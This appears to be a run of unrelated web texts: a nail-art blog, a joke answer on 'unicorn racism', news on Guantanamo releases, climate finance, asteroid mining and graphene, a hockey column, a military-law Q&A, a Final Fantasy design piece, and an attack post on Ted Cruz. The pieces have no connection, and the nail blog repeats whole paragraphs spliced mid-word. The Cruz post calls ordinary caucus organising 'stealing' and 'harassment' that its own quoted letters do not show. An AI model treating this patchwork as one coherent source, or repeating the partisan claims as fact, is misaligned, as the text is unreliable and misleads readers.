So, with my time fast becoming filled with all sorts of other activities in the evenings and weekends, I found myself almost forgetting that I had nails - until that is, of course, one of them suddenly felt as though it was about to break, or a big massive chip appeared on the lacquer. My nail routine was so bad that I was applying a new set of polishes once a week, and we all know that nail polish just doesn't last a full week, no matter what the press releases say.
It was a truly sorry state of affairs, my poor nails were in complete disarray. I fixed the frequent breakages completely by accident. I noticed that my nails kept breaking at the same point, so I just started to file down those areas on one of my nails and I ended up with the most remarkably shaped nail. They're called 'Stiletto Nails' but to me they look like actual talons. Whatever they're called, the nail felt a lot stronger than it had before, so I took the plunge and did the same to the rest of my nails.
In my opinion, it's not possible to completely prevent your nails from breaking, they're prone to catching on things, bending and just generally go through an awful lot on a daily basis so don't get me wrong, my nails still break, but I find it happens much less often and much higher up the nail. The days where a broken nail was a life-changing event, are now firmly in the past. The only slight downside is that when it comes to entering my debit card pin, sometimes my finger can't actually reach the buttons! *Mental note: call bank and order contactless debit card*
To get around the other issue, chipping of the lacquer, I decided that wherever possible I'd make sure that I put a little bit of extra effort in to my nails and go for some nail art. Instead of just sloshing on a couple of layers of basic nail polish, I'd try to go over and above that. Even if it's just a really simple nail art look, like this one, I find that it tends to be more resilient against the day to day horrors our nails face.
this post!) and rinsed that all off. Whilst doing that in the shower I just kept looking at my nails and not really feeling the colour, so I removed all of that too! Yesterday after getting home from work I thought I'd remove the polish I had on at the time and give my nails a fresh lick of paint. Whilst going through the removal process, a luminous yellow from my big box of polishes really stuck out, so I applied that. In the meantime I botoxed my hair (seepost!) and rinsed that all off. Whilst doing that in the shower I just kept looking at my nails and not really feeling the colour, so I removed all of that too!
Whilst removing the yellow I recalled that Ombre nails have always seemed to last longer in the past without chipping off, I presume it's because the layering effect that I use builds up a strong lacquer on the nails. I'd seen a few photos recently of Gradient French Manicures, now I'll have to confess here to never having had one, although I did have professional manicure done once, in Dubai - it was cheap as chips but I just wasn't prepared for the pain! So I thought I'd replicate that Gradient French Manicure look, without all the pain of having my fingers poked and prodded!
For my Gradient French Manicure Style Nails, I picked out the colours 'Reno' by Mavala and 'Matte White' by Barry M , but in all honesty it doesn't matter what brands you use, as long as there's one nude and one white. First up then, I gave my nails a coat of Reno, which is a lovely nude shade, and let it dry. Next, I painted onto a sponge an approximate half-nail sized patch of Reno and another half-nail sized patch of Matte White - it's important that you paint them adjacent to each other on the sponge, as if you were painting your actual nail.
Finally, where the Gradient magic happens! I take the sponge and dab it softly on to the nail, taking care not to move the sponge up, down or across the nail. Simply dab it on to the exact same spot until the white part of the nail becomes opaque. The gentle pressing action of the sponge on to the nail will ensure that the edges of the nude and white sections blend together, so there's no need to move the sponge up and down - in fact doing so may blend it together a bit too much and the effect will be lost. There's an amazing video tutorial here Finally, where the Gradient magic happens! I take the sponge and dab it softly on to the nail, taking care not to move the sponge up, down or across the nail. Simply dab it on to the exact same spot until the white part of the nail becomes opaque. The gentle pressing action of the sponge on to the nail will ensure that the edges of the nude and white sections blend together, so there's no need to move the sponge up and down - in fact doing so may blend it together a bit too much and the effect will be lost. There's an amazing video tutorialon how to do it that I'd encourage you to watch.
To complete my look, I wanted to apply Essence's 'Icy Fairy' to the nails, but after applying to the first couple of nails, I thought it might look a bit overbearing if I applied to each and every nail. As it happens, I think applying it to just two nails gives the look an extra depth and artsy look that all-out glitter action just couldn't compete with. |
Best Answer: It's important to accept all members of society, be they black, white, asian, unicorn, zombie, what have you. Unicorn Racism is a serious issue and can mean many things. If a unicorn comes into your store and you refuse to serve it that is racism. If you are meaner to a unicorn than to a regular horse, because it is a unicorn, that is racism. We need to understand as a naiton that the stereotypes about unicorns are false. They don't all love rainbows and magic. Some of them are lawyers, and Doctors, but most of them are everyday people.
While it is true that unicorns can heal with their horns, not all of them can, and one that can't is every bit as much of a unicorn as every other. They are not defined by this ability, rather by their identity as a member of the proud unicorn race.
Actions can be taken against unicorn racism in a court of law. Understanding can be developed through brown bag lunches open to the community or maybe rollerskating at your local rink. If you are prejudiced against unicorns just try talking to one. I'm sure you'll find that they're great fun and just like all your other friends.
Source(s): Personal experience
Mermaid scrolls
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CLOSE Fifteen prisoners at the Guantanamo Bay detention center were sent to the United Arab Emirates in the single largest release of detainees during the Obama administration, according to the Pentagon. USA TODAY
A Guantanamo cell block (Photo11: USA TODAY/Tom Vanden Brook)
WASHINGTON — The Obama administration has approved the release of 15 detainees from the prison camps at Guantanamo Bay, Cuba, to the United Arab Emirates, a move derided Monday night by a leading member of Congress as reckless.
Rep. Ed Royce, the California Republican who chairs the Foreign Affairs Committee, called the released detainees "hardened terrorists" who will be a threat for years.
"In its race to close Gitmo, the Obama administration is doubling down on policies that put American lives at risk," Royce said in a statement. "Once again, hardened terrorists are being released to foreign countries where they will be a threat."
The Pentagon, in a statement, said an inter-agency review board considered their potential threat to security and unanimously approved six of the 15 for release, A consensus was reached on release of the remaining nine. There are 61 detainees remaining at Guantanamo.
According to the Pentagon, the 15 prisoners are Abd al-Muhsin Abd al-Rab Salih al-Busi, Abd al-Rahman Sulayman, Mohammed Nasir Yahi Khussrof Kazaz, Abdul Muhammad Ahmad Nassar al-Muhajari, Muhammad Ahmad Said al-Adahi, Abdel Qadir al-Mudafari, Mahmud Abd Al Aziz al-Mujahid, Saeed Ahmed Mohammed Abdullah Sarem Jarabh, Mohammed Kamin, Zahar Omar Hamis bin Hamdoun, Hamid al-Razak (aka Haji Hamidullah), Majid Mahmud Abdu Ahmed, Ayub Murshid Ali Salih, Obaidullah, and Bashir Nasir Ali al-Marwalah.
Six of the 15 — al-Busi, Sulayman, Kazaz, al-Muhajari, al-Adahi, and al-Mudafari — were unanimously recommended for release by the inter-agency Guantanamo Review Task Force, the Pentagon said.
The other nine were recommended for release by the periodic review boards monitoring Guantanamo prisoners, the Pentagon said.
When President Obama took office in 2009, there were 242 detainees still in the Guantanamo Bay prison, down from a high of almost 700. That number has dropped as the Pentagon has transferred lower-risk detainees to other countries — meaning that the prisoners who remain tend to be considered higher security risks.
Obama earlier this year announced a plan to close down the facilities at Guantanamo, arguing that the keeping them open was "contrary to our values."
The plan included transferring detainees to other countries, and imprisoning those who could not be moved to existing facilities in South Carolina, Kansas and Colorado or at new prisons at military bases.
Civil libertarians applauded the move.
"This is a welcome advance in the administration’s effort to close Guantanamo," said Hina Shamsi, director of the ACLU National Security Project. "As the number of men at Guantanamo dwindles, so does any rationale for keeping the detention camp open. It’s also critically important for the Obama administration to end what Guantanamo represents, which is the policy of indefinite detention without charge or trial."
The administration estimates that it would cost $290 million to $475 million for the Pentagon to renovate an existing state or federal prison, which would be dedicated to holding only detainees from Guantanamo. The Pentagon estimates housing the detainees in the United States could save $65 million to $85 million a year, recouping construction costs in about five years.
Law prohibits the president from transferring the Guantanamo Bay detainees to American soil where there are only a handful of maximum-security prisons deemed appropriate to house them.
Located on the eastern edge of Cuba, the Naval Station at Guantanamo Bay has housed prisoners taken captive in war on terror since 2002. Since it exists on a base on Cuban soil but held by the United States under a 113-year-old lease, the prisoners are in what some human rights organizations call a "legal black hole."
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The Good and the Bad of this past week.
It’s Friday. So we close out the "Week That Was" with our latest volume of Cheers and Jeers.
This week’s entry starts with a Rule 48-esque headshot to the NHL for getting their priorities completely backward.
JEERS to the NHL for releasing guidelines on their players using social media, while these same players continue to decapitate each other with impunity. I have no problem with the guidelines themselves. In fact, I think they’re pretty damn reasonable. But the fact that the NHL spent ONE IOTA of energy on these guidelines before doing anything to eliminate hits to the head and head injuries from their games is borderline criminal. It is utterly neglectful at the very least.
CHEERS to Teemu Selanne for coming back to play after signing a one year contract with Anaheim. In all honesty, I believe that the prospect of starting the season in his native Finland, as well as playing one final game in Winnipeg had a role in his decision to return. On the theme of social medial, another cheers to Teemu for recording a video message to his fans and posting it through social media via the Anaheim Ducks. This guy is just pure class and everything that is good about the NHL.
Speaking of contracts, JEERS to NY Islanders and the Buffalo Sabres for the ridiculous and unwarranted contracts for John Tavares and Tyler Myers, respectively. I find this trend of rewarding potential to be an utter waste of money. Teams like Vancouver and Boston (just two examples. Look at Marchand’s latest deal as a example of a great, reasonable contract for both sides) have done a great job recently of nurturing players then rewarding them when they succeed and the fruits of their labours are evident. This strategy is working. What Pegula and the Sabres are doing, overpaying for players and spending like a coked up Paris Hilton, is asinine. The Islanders have nothing anyway but they’ve had a history of offering stupid contracts (RICK DiPIETRO?!) and giving Tavares this type of contract is just irresponsible. Tavares will be making 500K less than either of the SEDINS next season. The Sedins… back to back Art Ross trophy winners. The Sedins who are right in their prime now… and then Tavares… who turns 21 on Tuesday.
CHEERS to Mike Gillis and Lawrence Gilman for their approach on signing UFA veterans to Professional Tryout (PTO) contracts. Sure, they’re getting a little liberal with them (Niko Dimitrakos and Anders Eriksson?! REALLY?!) but there are benefits to both sides. The Canucks bring in these vets trying to prove themselves and it costs the Canucks nothing. There is no commitment from them. If the vets do well enough, they earn themselves a contract, either with the team or another. A good example of this is Brendan Morrison last year. He had a great camp with the Canucks while on a PTO. The Canucks didn’t feel he fit into their lineup, but Morrison did enough to impress the Flames management and earned a contract. It’s a good strategy for both parties. And for the Canucks, it’s low risk, high reward. If Owen Nolan lights it up, or Manny Legace proves he’s capable, it gives the Canucks a lot more options heading into the start of the regular season.
JEERS to the continued lack of offer sheets. We haven’t seen ANY offer sheets this off-season despite a big list of RFA’s. Brad Marchand would have been ripe for being signed to an offer sheet. Nothing. For crying out loud, it’s part of the CBA. You’re ALLOWED to sign players to offer sheets. Enough of this ridiculous unspoken rule to leave RFA’s alone. It’s just crap. The fact that one GM would be blackballed for playing entirely within the rules of the CBA and the league is garbage. And it’s another reason why you end up having teams like the Sabres and the Islanders signing their players to stupid contracts. Why? Because they don’t want to lose them to unrestricted free agency, but they aren’t challenged to sign them to shorter term, more reasonable contracts.
CHEERS to the baybee Nuckies and the rest of the Young Stars during the YoungStars Tournament in Penticton this past week. Most of those Canucks prospects were invited to the team’s main camp so they’ll get to see how the big boys play. For some of them, it’s a chance to show that they can play full-time in the NHL (Jordan Schroeder?). For others, its their first experience in a proper NHL training camp.
A BIG JEERS to Jonathan Toews for trying kill kids. Ok, that’s a bit strong. But he did bowl over a kid right proper this week. Maybe Captain Serious is taking this hockey thing a little too seriously? Maybe. Or maybe our unwavering bias against anything Blackhawks related has tainted our view of the severity of this incident. … Nope, Toews is a kid-killing demon.
And finally…
CHEERS, CHEERS and CHEERS to Trevor Linden, Tom Larscheid and the BC contingent of the 2010 Canadian Men’s Olympic Hockey Team (including Roberto Luongo) for their induction into the BC Sports Hall of Fame. A terrific and well-deserved honour for a great group of guys. Stick-taps to all. |
Breaking: Cruz Camp Sends Out Letters to Supporters on How to Harass and Steal Delegates
The Cruz camp can’t win enough votes at the ballot box so they’re stealing them at the state level.
Such good Christian conservatives.
Cruz supporters are asking bloggers to stalk the delegates in Colorado.
Dear Influential Conservative Blogger, I found a list of names and phone numbers for Colorado delegates, of which a huge number are unbound. I did reverse phone searches and came up with a list of mailing addresses for a lot of these unbound delegates. I wrote letters to them saying that Cruz has been most consistent about re-negotiating the Iran deal, and that they should vote for him. Perhaps you and your followers can do the same. Attached is a list of unbound delegates for Colorado, and their mailing addresses. I also noted their phone numbers in case you think that’s better. (Personally I don’t. Some of them might be on do not call lists.) Regards, Alex S.
And— Cruz supporters in St. Louis sent out this letter describing how they plan on stealing delegates in Missouri on Saturday.
Dear Cruz supporter and true friend of freedom, Saturday is caucus day in Missouri to select the first round of delegates to ultimately go to Cleveland. As you probably know, the first vote in 5 of the Congressional districts are pledged to Trump and in the other 3 to Cruz.
HOWEVER, on the second ballot should those delegates at the Congressional District Caucuses on April 30 and the State Convention on May 20-21 in Branson be Cruz supporters, and we do this across the nation, Ted Cruz can win the nomination on the second ballot. HOW CAN YOU HELP? Attend the local Caucus in your local county/township. Go to the State Republican Party web site (https://www.missouri.gop/election-2016/#find) to find location, arrive an hour early, and seek to identify the Cruz supporters. Even better, take all your Cruz friends and family with you and be a delegate to the Congressional Caucus and the State Convention.Whoever has the most numbers and elects their slate will prevail. THIS SATURDAY 9:00 a.m. to 12:00 p.m. is the next critical time to help Ted. Hope to see you at a victorious state convention in May, Bev E.
Reader Carrie had this to say about Cruz and the GOP establishment’s delegate theft.
I believe that the delegates are there to represent the voters and not themselves. This is a point that has not been discussed enough. Thousands of people vote for a candidate, and the delegates are their proxy to the convention. The delegates therefore should represent their voters through any number of rounds of voting, UNTIL THEIR CANDIDATE IS ELIMINATED. Then they can be freed to vote for someone else. This is the moral argument against what Cruz is doing. Some people may have put in rules to try to cancel the moral obligation, but since when do written rules ever replace morals and duty? This argument was thrashed out at Nuremberg when people said they were just following orders (ie the rules). However, the judgement said that that was not good enough. Particularly with the large segment of the Republican party being Christians, this moral obligation has to be higher than any man made rules. Another point is that of Ted Cruz and his cohorts, placing weak people in moral danger. These people are being encouraged to go against fair play, and honesty, to portray themselves, and to offer themselves, as Trump supporters, living a lie. What effects is this having on their souls? I do think that much can be made of this angle to put pressure on these delegates. The argument they are running now is that Cruz is smarter than Trump. It needs to be countered on the high ground of Christian morality, of loving your neighbour, not being smart a*ses to your neighbour and cheating them. |
It took more than a decade of worsening climate change projections to get global leaders to promise steeper carbon cuts. Amassing enough money to deal with the problem, it seems, might be even harder.
Developing nations last week fell short of the $10 billion minimum goal for the critically important Green Climate Fund. To make matters worse, a new report shows that overall climate-related investment is lagging, too.
The latest tally of global climate finance found that public and private investment totaled $331 billion in 2013, down nearly 8 percent from 2012. That spending is "far below even the most conservative estimates of investment needs" to reduce the threat of climate change, according to the 2014 Global Landscape of Climate Finance report, released Thursday by the independent Climate Policy Initiative (CPI), a San Francisco-based group funded by grants from government and charitable foundations.
The total spending last year amounts to about a third of the estimated $1 trillion in extra investment needed each year to 2050—just to transition to low-carbon energy production and use, according to an estimate from the International Energy Agency, based in Paris.
That target, sometimes called the Clean Trillion, doesn't include investment needed for adaptation to climate change—preparing the most vulnerable nations for rising sea levels, damaging drought and more extreme weather.
Last year marked the second consecutive year that climate-related investment fell. Given the enormous investment that's required, "the situation remains grave," the CPI report said.
Most of the 2013 decline in spending stemmed from private funding, which fell 14 percent to $193 billion last year. Almost all of that downturn, however, was a reflection of plummeting costs for solar power hardware. Solar power installations jumped by nearly a third in 2013, to 40 gigawatts, but investors spent $40 billion less on those projects than they would have at 2012 prices, according to CPI.
Public spending—which provided most of the money that went from developed nations to developing nations—stayed flat at $137 billion in 2013, according to the report. At the same time, governments in developing nations and emerging economies spent $544 billion supporting fossil fuels, the primary culprit of global warming, through subsidies and other financial support.
The report also found that nearly three-quarters of the climate-related investment last year went to domestic projects.
The report was released just before the first pledge meeting for the Green Climate Fund, the entity that's supposed to distribute tens of billions of dollars in assistance to countries that are still developing, or most vulnerable to the effects of climate change.
Wealthy countries were asked to pledge at least $10 billion for the initial phase of the Green Climate Fund. On Monday, the total came to less than $9.6 billion. Without an adequately funded GCF, developing countries have said they cannot promise to make meaningful emissions cuts. Under United Nations-led negotiations, every country is expected to limit harmful greenhouse gas emissions as part of a hoped-for global treaty.
Public money given to the GCF is supposed to help spur much larger investments from corporations and private investors. Those private funding sources are expected to provide most of the money needed to tackle climate change.
"What we can see with the recent announcement of the Green Climate Fund is kind of in line with the need to increase investments from the public side," said Barbara Buchner, senior director of Climate Policy Initiative, and the report's author. It was a good first step, she said, but more government funding is needed to stimulate private spending.
"In order to really close the [funding] gap we do need significant scaling up of the private sector, because that is obviously where most of the capital is," said Buchner. "It's not that there is a lack of capital, but we really need to target it well and take off the risk that private sector isn't able to [accept]."
Because of her work in tracking climate finance, Buchner was named by the Road to Paris website as one of 20 most influential women in the march toward a climate change treaty.
The new CPI report—her group's third annual—is the most comprehensive accounting of climate finance trends available, and its findings highlight steps governments and others can take to increase private investment.
So far in 2014, data from Bloomberg New Energy Finance suggest that that clean-energy spending is picking up in the private sector, but it's still nowhere near the levels required, according to Buchner.
"We are really falling behind, but at the same time there are some positive signals," Buchner said. "We need to make sure that we build the momentum to start increasing the investment again. Whatever attracts the attention of investors to think more about the area of climate finance is positive."
A look at the Clean Trillion, what it is and where the world stands in reaching the $1 trillion climate investment goal: |
Luxembourg Hopes To Rocket To Front Of Asteroid-Mining Space Race
Enlarge this image toggle caption Loop Images/UIG via Getty Images Loop Images/UIG via Getty Images
The government of Luxembourg announced Wednesday that the country will be investing in the as-yet-unrealized industry of asteroid mining.
The tiny European country will be funding research into the extraction of minerals from objects in space, working on legal and regulatory frameworks to govern such activities and, potentially, directly investing in companies active in the field. The nation's ministry of the economy says in a statement that the measures are meant "to position Luxembourg as a European hub in the exploration and use of space resources."
It's a futuristic move, but not a wholly startling one. Luxembourg is already home to SES, a satellite operator, and has previously moved to boost its international high-tech profile.
Exploiting the natural resources of asteroids and other near-Earth objects (NEOs) has long been a dream of investors, inventors and futurists (not to mention science-fiction authors). Some technologists believe it's only a matter of time before asteroid-mining shifts from idea to industry.
There are numerous minerals found on asteroids that might profitably be mined. Eric Anderson, co-founder of Planetary Resources, told Ira Flatow in 2012 that some asteroids are rich in nickel and iron; others in methane, better known as natural gas. Some contain large amounts of water, which, while not profitable to return to Earth, could be useful for supplying rockets that are already in space with hydrogen and oxygen.
But there are a few issues. First, of course, there are technical challenges involved in finding promising targets, sending unmanned spacecraft to mine them and returning those resources safely to Earth.
Humans have yet to successfully collect even a proof-of-concept asteroid sample. A decade ago, Japan's space agency sent a missile on an asteroid-sampling mission, but the craft crash-landed on the asteroid and couldn't collect samples as planned. It did, however, return to Earth with a small sample of the asteroid that apparently lodged in the craft during the crash.
Japan has a follow-up sampling mission that is currently en route to an asteroid, and private companies and NASA are working on their own plans for asteroid-sampling probes.
To help asteroid mining become a practical possibility, Luxembourg plans to fund research and development and potentially invest in individual companies, using money dedicated to the national space budget.
The second issue is a legal one. Asteroids are governed by the Outer Space Treaty, nearly 50 years old now, which says space and space objects don't belong to any individual nation. What that means for mining activities has never been tested in international courts because, well, nobody's managed to mine an asteroid yet.
But there's a fair amount of uncertainty, as Joanne Gabrynowicz, a director at the International Institute of Space Law, told NPR's Here & Now last February.
"Anybody who wants to go to an asteroid now and extract a resource is facing a large legal open question," she said.
The U.S. passed a law near the end of last year, the Space Act of 2015, which says American companies are permitted to harvest resources from outer space. The law asserts that extracting minerals from an extraterrestrial object isn't a declaration of sovereignty. But it's not clear what happens if another country passes a contradictory law, or if treaties are arranged that cover extraction of minerals from space.
Luxembourg hopes to address this issue, too, with a formal legal framework of its own — possibly constructed with international input — to ensure that those who harvest minerals can be confident that they'll own what they bring home.
"The aim is to stimulate economic growth on Earth and offer new horizons in space exploration," Luxembourg's ministry of the economy writes.
Investing in space innovation — whether or not asteroid mining pans out — might be valuable for a small nation looking to raise its profile. And if asteroid mines become a reality, the profits could be enormous.
The nation's deputy prime minister also notes that mining on "lifeless rocks" in space, as opposed to mining on Earth, doesn't damage natural habitats. |
Q. I received an other-than-honorable discharge after having a urinalysis come back hot. What would I have to do to persuade a Discharge Review Board to upgrade my discharge?
A. Obtaining a discharge upgrade — even after a positive urinalysis that led to an administrative separation — is not easy but is possible. Perhaps one of the greatest challenges veterans face in seeking the upgrade of an other-than-honorable discharge is differentiating their petitions from the hundreds of others that preceded theirs and asked for similar forms of relief. And that's where having a military law attorney on your side can be pivotal.
I cannot stress enough the adverse consequences of an other-than-honorable discharge. There is the loss of Veterans Affairs and education benefits on top of the loss of veterans' preference rights in the federal hiring process and of civilian employment protections against military-based discrimination and other violations of the Uniformed Services Employment and Reemployment Rights Act. So long as the other-than-honorable discharge occurred within the past 15 years, veterans can appeal to their branch's Discharge Review Board by filing a DD Form 293. Discharges beyond 15 years would have to be reviewed by a Board for Correction for Military or Naval Records.
Packaging can make the difference between a successful and unsuccessful application to a Discharge Review Board. It is important to include documentation highlighting things such as the veteran's meritorious services, high marks on evaluations and civic involvement. A personal statement and character letters — when they address the proper issues — can also carry great weight. One mistake veterans often make is failing to take responsibility for their actions that resulted in the discharge. Another important component is the legal memorandum drafted by the veteran's attorney that pulls all of these items together. An experienced military law attorney knows the arguments that will resonate with military minds. This memorandum can help differentiate the veteran's application from the pack.
If a veteran’s record contained no other misconduct — and his or her commanders provide positive statements about him or her, a Discharge Review Board may find this discharge characterization to be too "harsh," as the Army Discharge Review Board did in a 2013 case (No. AR20120023004). Consequently, the board upgraded the discharge characterization to general, under honorable conditions.
Due process errors may also prompt a Discharge Review Board to grant relief . For example, if the government’s discharge packet notes a positive urinalysis stemming from a substance abuse rehabilitation program evaluation, a board may deem the use of such protected information as wrongful. That was what happened in another 2013 Army Discharge Review Board case (No. AR20120021628), prompting the board to find the other-than-honorable characterization improper and upgrade it to an honorable discharge. Similarly, results from a command-directed urinalysis cannot be used to support an other-than-honorable discharge. If a veteran received an other-than-honorable discharge because of a command-directed urinalysis, a Discharge Review Board may upgrade that characterization to general, under honorable conditions, as the Army’s board did in a 2014 case (No. AR20140006762).
Veterans who received an other-than-honorable discharge because of a positive urinalysis should consult with an experienced military law attorney. Depending on the circumstances, an attorney could prepare a DD Form 293 that highlights due process errors or make arguments for relief in the form of a discharge upgrade.
Mathew B. Tully is a veteran of the Iraq and Afghanistan wars and a founding partner of Tully Rinckey PLLC. Email askthelawyer@militarytimes.com. The information in this column is not intended as legal advice. |
Jeff Chiu/AP Photo
“Look at the dumb thing this idiot tweeted” feels like a very circa-2013 blogging approach, but there are times to make exceptions. So look at the dumb thing Aubrey Huff tweeted:
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Aubrey “All I Do Is Jack Off” Huff was a perfectly good major leaguer for 13 seasons before retiring in 2012, and now we’re forced to try to reverse engineer exactly what he thinks he read, because while Twitter is excellent for letting us really get to know our sports stars, the downside is that it lets us really get to know our sports stars.
What Huff appears to have found was this video from “social media driven news brand” Veuer, hosted on AOL.com and running above a transcription. It will not surprise you to see that Huff read the first sentence of the article and no more than that.
The actual news, based on a study appearing in the journal Acta Palaeontologica Polonica and published by paleontologists at the University of Portsmouth, is that fossil teeth belong to two different “small rat-like creatures” were recently discovered and identified. These small mammals—which, we emphasize, are not rats, which are a separate genus that exists today—lived 145 million years ago and are now the earliest-known ancestors of most modern mammals, including whales, rats, and, yes, humans.
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I think this is interesting! Aubrey Huff, who, again, didn’t read it and/or doesn’t understand it, thinks it’s more proof that science is bad.
I want you to set aside for a moment Huff literally using a “if we evolved from monkeys, why are there monkeys” argument, and instead focus on him citing the tired old “missing link” argument against evolution. “If evolution is real,” it goes, “why are all these gaps in the fossil record? Checkmate, science.” I’m not sure what that’s supposed to prove, but it’s a common qualm among creationists. Never mind that more and more transitional fossils are discovered every year. The article that set Huff off here is literally about two transitional fossils being discovered. The gaps in the fossil record are smaller than they were before the publication of this study. Evolution, which has only ever received more and more evidence to support its implications, just got more hard support, and all Huff could take from the news was “LOLrats.”
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OK, now you can focus on Huff saying, “if we evolved from monkeys, why are there monkeys?”
Huff, a former baseball player who is before our very eyes misinterpreting evidence that supports evolution, says “mainstream scientists” are biased against “real evidence.”
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Huff loves that “documentary,” which he elsewhere claims provides “the evidence that dinosaurs are not 60 million years old. But only 6,000! Science is once again proving the Bible right!” Which is his true gripe with these rat-like mammal progenitors and evolution as a whole—they require millions of years to make sense, and Huff, a young-Earth creationist, believes the universe to have come into being roughly as-is a few thousand years ago.
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Huff has comebacks for just about any evidence you’d like to offer him:
Yes, that’s Keith Law, who attempted to engage Huff while risking being the first ever person to earn two separate suspensions from ESPN for defending evolution.
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My favorite exchange of this whole mess was when one Twitter user attempted to troll Huff. (If you say yes, the response is “Imagine draggin deez nuts across your face.”) Huff thwarted the gag unwittingly and completely:
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My head hurts. I wish I were dead, like Durlstodon ensomi and Durlstotherium newmani who were definitely real and were not rats. |
Mike Williams By Mike WilliamsReviews Editor
Back in January, Square Enix revealed Mevius: Final Fantasy, a premium mobile title for the long-running RPG series. Final Fantasy VI and VII director and XIII producer Yoshinori Kitase is producing the game for Android and iOS platforms, and the publisher is treating Mevius as if it's a console or handheld title. It's the beginning of a shift in Square Enix's mobile development that began with the release of Final Fantasy: Record Keeper, focusing on good, solid games, not throwaway mobile fluff.
The thing that stood out about Mevius though was the design of the unnamed main character. What we were originally shown was a male character in ill-fitting armor and a sliced-up swimsuit. It was essentially the same design aesthetic normally applied to female characters. It wasn't something comletely new for Square Enix, as company has seen similar designs in 2000's Vagrant Story, but it's been a rather rare occurrence.
Apparently, certain Japanese fans didn't appreciate Mevius' revealing character design, because Square Enix has backtracked a bit.
Last Thursday, Kitase, project leader Naoki Hamaguchi, managing producer Hiroki Okayama, and an MC simply named Asuna showed off the current build of the game, under a new name: Mobius Final Fantasy. Our previously unnamed protagonist now has a name, Wal, though players can change that name if they see fit. We also gleaned some information on the game's job system, allowing Wal to change his costumes to gain new abilities; the armor-light look Wal sported in early screenshots is the Onion Knight job. One notable change from the previous screenshots is Wal;s lack of open, revealing sides on his outfit. Instead, he now has a high collar and his svelte external obliques are completely covered.
"After we released the screenshots in December, we looked at the various reactions we were getting online, and in the end, showing this much skin..." explained Kitase on the stream (as translated by the fine folks at RocketNews24). "For this game, we're moving forward during development and letting it evolve while taking into consideration users' opinions, so I asked the character designer to make a change."
Before and after.
Wal still remains on the lighter clothing side, with exposed calves and arms and an open back showing off his crazy tattoo. The open back even sticks around while Wal is wearing the thicker armor of the Knight class. Okayama and Hamaguchi did comment on missing the original look, and Kitase admits that the design may return if fans speak up enough.
"If enough people say they like those hiplines, then we might bring the original costume back," he added.
Honestly, while I'll miss that original design - it was odd and striking enough that I wrote about the game in the first place - Square Enix is well within their rights to change it. It is not, as many accuse creators of in other situations, censorship. Like every creative or corporate entity, you're allowed to gauge fan feedback and decide what's the best for your work. Square Enix looked at where they wanted Mobius to go and made changes accordingly. They may change again in response to further feedback before Mobius' release.
The loss is still disappointing. The design is similar to many costumes worn by the women in Square Enix's stable, costumes that tend to make it to release with little issue. Looking over images from my previous Mevius article, you can get an idea of what I'm talking about.
A look at similar design ideas, and Final Fantasy XV's Cindy.
While Mevius' skimpier outfit may not have been a great design, that is not why it was changed. In the fact, the redesign retains a great deal of the original form and look. It just covers up some bits because they were "a little too sexy" in Asuna's estimation. Kitase agreed that fan feedback mirrored Asuna's commentary, which led to the change.
Part of my issue is designing looks simply for coolness or sexiness, something that could be lobbied at Wal's original look, instead of designing outfits that say something pertinent about the character. Final Fantasy isn't grounded in any sort of reality, with each game sticking close to whatever version of unreality it has worked to establish, but even then certain odd choices tend to stand out. The Final Fantasy XIII lineup established Lightning as one type of character, but some of the outfits for Lightning Returns point to a different character. FFXV's Cindy seems to be oddly dressed for someone who's a mechanic, but then again, Noctis' boy band is hardly well-dressed for Behemoth fighting, so what do I know?
Character design should be an integrated part of the storytelling, showing off the visual flourishes of the artist, but also illuminating our understanding of the characters in question. I have issue when everybody's design leans in one direction, even if their shown nature points them toward another.
There's also the unequal nature of this sexual focus in much of our medium, something I'm glad that's changing a bit. For too long, there has been a double-standard in who receives certain types of sexualization. Play around a bit instead of doing the same thing over and over! Square Enix itself is a pioneer on a different FF title, Final Fantasy XIV: A Realm Reborn, which features equally-skimpy outfits for male and female player characters. Akiba's Strip for PlayStation platforms added male strip portraits for the Western release, spreading the fanservice to the other gender. It was a welcome change that Acquire and XSeed didn't have to put forth the effort for.
Sex may sell, but it sells to everyone, so spread the love around a bit! Mobius' Wal was a reflection of some of the ladies in Square Enix' considerable stable. He still functions in that way, but he was an outlandish contrast, something we don't see often. Now he's just a contrast.
At the same time, fanservice doesn't need to be everywhere, so it's best to look at what your work is trying to accomplish - what you want the players to experience and feel - instead of throwing in random fanservice because you can. When you add more variety - more sexualized male characters, more female characters whose primary point isn't sexual attraction, and everything else in-between - the market is better for it. When everyone trends towards one direction, we all suffer for it. Viva la EVERYTHING! |
Graphene, impermeable to all gases and liquids, can easily allow protons to pass through it, University of Manchester researchers have found.
Published in the journal Nature, the discovery could revolutionise fuel cells and other hydrogen-based technologies as they require a barrier that only allow protons – hydrogen atoms stripped off their electrons – to pass through.
In addition, graphene membranes could be used to sieve hydrogen gas out of the atmosphere, where it is present in minute quantities, creating the possibility of electric generators powered by air.
One-atom thick material graphene, first isolated and explored in 2004 by a team at The University of Manchester, is renowned for its barrier properties, which has a number of uses in applications such as corrosion-proof coatings and impermeable packaging.
For example, it would take the lifetime of the universe for hydrogen, the smallest of all atoms, to pierce a graphene monolayer.
Now a group led by Sir Andre Geim tested whether protons are also repelled by graphene. They fully expected that protons would be blocked, as existing theory predicted as little proton permeation as for hydrogen.
Despite the pessimistic prognosis, the researchers found that protons pass through the ultra-thin crystals surprisingly easily, especially at elevated temperatures and if the films were covered with catalytic nanoparticles such as platinum.
The discovery makes monolayers of graphene, and its sister material boron nitride, attractive for possible uses as proton-conducting membranes, which are at the heart of modern fuel cell technology. Fuel cells use oxygen and hydrogen as a fuel and convert the input chemical energy directly into electricity. Without membranes that allow an exclusive flow of protons but prevent other species to pass through, this technology would not exist.
Despite being well-established, fuel-cell technology requires further improvements to make it more widely used. One of the major problems is a fuel crossover through the existing proton membranes, which reduces their efficiency and durability.
The University of Manchester research suggests that the use of graphene or monolayer boron nitride can allow the existing membranes to become thinner and more efficient, with less fuel crossover and poisoning. This can boost competitiveness of fuel cells.
The Manchester group also demonstrated that their one-atom-thick membranes can be used to extract hydrogen from a humid atmosphere. They hypothesise that such harvesting can be combined together with fuel cells to create a mobile electric generator that is fuelled simply by hydrogen present in air.
Marcelo Lozada-Hidalgo, a PhD student and corresponding author of this paper, said: “When you know how it should work, it is a very simple setup. You put a hydrogen-containing gas on one side, apply small electric current and collect pure hydrogen on the other side. This hydrogen can then be burned in a fuel cell.
“We worked with small membranes, and the achieved flow of hydrogen is of course tiny so far. But this is the initial stage of discovery, and the paper is to make experts aware of the existing prospects. To build up and test hydrogen harvesters will require much further effort.”
